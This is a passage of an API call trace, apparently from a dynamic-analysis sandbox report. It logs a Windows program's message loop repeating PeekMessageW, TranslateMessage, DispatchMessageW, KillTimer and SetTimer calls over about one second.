wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0181.113] TranslateMessage (lpMsg=0xbdf9ec) returned 0 [0181.113] DispatchMessageW (lpMsg=0xbdf9ec) returned 0x0 [0181.113] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0181.113] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0181.113] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0181.127] TranslateMessage (lpMsg=0xbdf794) returned 0 [0181.127] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0181.127] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0181.127] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0181.127] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0181.143] TranslateMessage (lpMsg=0xbdf9ec) returned 0 [0181.143] DispatchMessageW (lpMsg=0xbdf9ec) returned 0x0 [0181.143] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0181.143] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0181.143] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0181.158] TranslateMessage (lpMsg=0xbdf794) returned 0 [0181.158] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0181.158] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0181.159] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0181.159] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0181.174] TranslateMessage (lpMsg=0xbdf794) returned 0 [0181.174] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0181.174] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0181.174] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0181.174] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0181.189] TranslateMessage (lpMsg=0xbdf9ec) returned 0 [0181.189] DispatchMessageW (lpMsg=0xbdf9ec) returned 0x0 [0181.189] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0181.190] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0181.190] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0181.205] TranslateMessage (lpMsg=0xbdf794) returned 0 [0181.205] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0181.205] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0181.205] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0181.205] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0181.222] TranslateMessage (lpMsg=0xbdf9ec) returned 0 [0181.222] DispatchMessageW (lpMsg=0xbdf9ec) returned 0x0 [0181.222] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0181.222] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0181.222] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0181.237] TranslateMessage (lpMsg=0xbdf9ec) returned 0 [0181.237] DispatchMessageW (lpMsg=0xbdf9ec) returned 0x0 [0181.237] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0181.237] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0181.237] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0181.253] TranslateMessage (lpMsg=0xbdf794) returned 0 [0181.253] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0181.253] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0181.253] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0181.253] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0181.317] TranslateMessage (lpMsg=0xbdf794) returned 0 [0181.317] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0181.317] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0181.317] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0181.317] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0181.403] TranslateMessage (lpMsg=0xbdf9ec) returned 0 [0181.403] DispatchMessageW (lpMsg=0xbdf9ec) returned 0x0 [0181.403] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0181.403] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0181.403] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0181.435] TranslateMessage (lpMsg=0xbdf794) returned 0 [0181.436] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0181.436] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0181.436] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0181.436] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0181.440] TranslateMessage (lpMsg=0xbdf794) returned 0 [0181.440] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0181.440] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0181.440] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0181.440] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0181.455] TranslateMessage (lpMsg=0xbdf794) returned 0 [0181.455] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0181.455] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0181.455] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0181.455] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0181.471] TranslateMessage (lpMsg=0xbdf794) returned 0 [0181.471] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0181.471] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0181.471] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0181.471] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0181.486] TranslateMessage (lpMsg=0xbdf794) returned 0 [0181.486] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0181.486] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0181.486] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0181.486] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0181.502] TranslateMessage (lpMsg=0xbdf794) returned 0 [0181.502] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0181.502] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0181.502] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0181.503] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0181.517] TranslateMessage (lpMsg=0xbdf794) returned 0 [0181.517] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0181.517] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0181.518] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0181.518] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0181.533] TranslateMessage (lpMsg=0xbdf9ec) returned 0 [0181.533] DispatchMessageW (lpMsg=0xbdf9ec) returned 0x0 [0181.533] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0181.533] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0181.534] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0181.549] TranslateMessage (lpMsg=0xbdf9ec) returned 0 [0181.549] DispatchMessageW (lpMsg=0xbdf9ec) returned 0x0 [0181.549] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0181.549] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0181.549] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0181.564] TranslateMessage (lpMsg=0xbdf794) returned 0 [0181.564] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0181.564] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0181.565] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0181.565] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0181.580] TranslateMessage (lpMsg=0xbdf794) returned 0 [0181.580] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0181.580] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0181.580] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0181.581] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0181.596] TranslateMessage (lpMsg=0xbdf794) returned 0 [0181.596] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0181.596] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0181.596] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0181.596] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0181.611] TranslateMessage (lpMsg=0xbdf794) returned 0 [0181.611] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0181.611] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0181.612] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0181.612] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0181.627] TranslateMessage (lpMsg=0xbdf794) returned 0 [0181.627] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0181.627] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0181.628] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0181.628] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0181.684] TranslateMessage (lpMsg=0xbdf794) returned 0 [0181.684] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0181.684] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0181.684] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0181.685] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0181.689] TranslateMessage (lpMsg=0xbdf794) returned 0 [0181.690] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0181.690] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0181.690] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0181.690] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0181.705] TranslateMessage (lpMsg=0xbdf794) returned 0 [0181.705] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0181.705] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0181.705] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0181.705] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0181.722] TranslateMessage (lpMsg=0xbdf794) returned 0 [0181.722] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0181.722] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0181.722] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0181.722] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0181.736] TranslateMessage (lpMsg=0xbdf794) returned 0 [0181.736] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0181.736] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0181.737] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0181.737] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0181.752] TranslateMessage (lpMsg=0xbdf794) returned 0 [0181.752] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0181.753] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0181.753] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0181.753] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0181.768] TranslateMessage (lpMsg=0xbdf794) returned 0 [0181.768] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0181.768] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0181.768] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0181.768] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0181.783] TranslateMessage (lpMsg=0xbdf9ec) returned 0 [0181.783] DispatchMessageW (lpMsg=0xbdf9ec) returned 0x0 [0181.783] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0181.783] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0181.783] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0181.802] TranslateMessage (lpMsg=0xbdf794) returned 0 [0181.802] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0181.802] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0181.802] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0181.802] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0181.814] TranslateMessage (lpMsg=0xbdf9ec) returned 0 [0181.814] DispatchMessageW (lpMsg=0xbdf9ec) returned 0x0 [0181.814] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0181.815] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0181.815] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0181.846] TranslateMessage (lpMsg=0xbdf9ec) returned 0 [0181.846] DispatchMessageW (lpMsg=0xbdf9ec) returned 0x0 [0181.846] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0181.846] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0181.846] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0181.861] TranslateMessage (lpMsg=0xbdf9ec) returned 0 [0181.861] DispatchMessageW (lpMsg=0xbdf9ec) returned 0x0 [0181.861] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0181.861] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0181.862] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0181.877] TranslateMessage (lpMsg=0xbdf794) returned 0 [0181.877] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0181.877] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0181.877] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0181.877] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0181.893] TranslateMessage (lpMsg=0xbdf794) returned 0 [0181.893] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0181.893] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0181.893] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0181.893] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0181.908] TranslateMessage (lpMsg=0xbdf794) returned 0 [0181.908] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0181.908] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0181.909] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0181.909] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0181.934] TranslateMessage (lpMsg=0xbdf794) returned 0 [0181.934] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0181.934] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0181.934] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0181.934] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0181.955] TranslateMessage (lpMsg=0xbdf794) returned 0 [0181.956] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0181.956] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0181.956] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0181.956] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0181.971] TranslateMessage (lpMsg=0xbdf794) returned 0 [0181.971] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0181.971] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0181.971] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0181.971] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0181.986] TranslateMessage (lpMsg=0xbdf9ec) returned 0 [0181.986] DispatchMessageW (lpMsg=0xbdf9ec) returned 0x0 [0181.986] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0181.986] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0181.987] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0182.002] TranslateMessage (lpMsg=0xbdf794) returned 0 [0182.002] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0182.002] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0182.002] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0182.002] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0182.018] TranslateMessage (lpMsg=0xbdf9ec) returned 0 [0182.018] DispatchMessageW (lpMsg=0xbdf9ec) returned 0x0 [0182.018] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0182.018] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0182.018] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0182.034] TranslateMessage (lpMsg=0xbdf9ec) returned 0 [0182.034] DispatchMessageW (lpMsg=0xbdf9ec) returned 0x0 [0182.034] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0182.034] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0182.034] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0182.049] TranslateMessage (lpMsg=0xbdf794) returned 0 [0182.049] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0182.049] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0182.049] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0182.049] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0182.065] TranslateMessage (lpMsg=0xbdf794) returned 0 [0182.065] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0182.065] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0182.065] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0182.065] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0182.080] TranslateMessage (lpMsg=0xbdf794) returned 0 [0182.080] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0182.080] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0182.080] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0182.080] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0182.096] TranslateMessage (lpMsg=0xbdf794) returned 0 [0182.096] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0182.096] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0182.096] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0182.096] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0182.111] TranslateMessage (lpMsg=0xbdf794) returned 0 [0182.111] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0182.111] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0182.111] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0182.112] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0182.127] TranslateMessage (lpMsg=0xbdf794) returned 0 [0182.127] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0182.127] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0182.127] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0182.127] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0182.143] TranslateMessage (lpMsg=0xbdf794) returned 0 [0182.143] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0182.143] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0182.143] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0182.143] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0182.158] TranslateMessage (lpMsg=0xbdf794) returned 0 [0182.158] DispatchMessageW 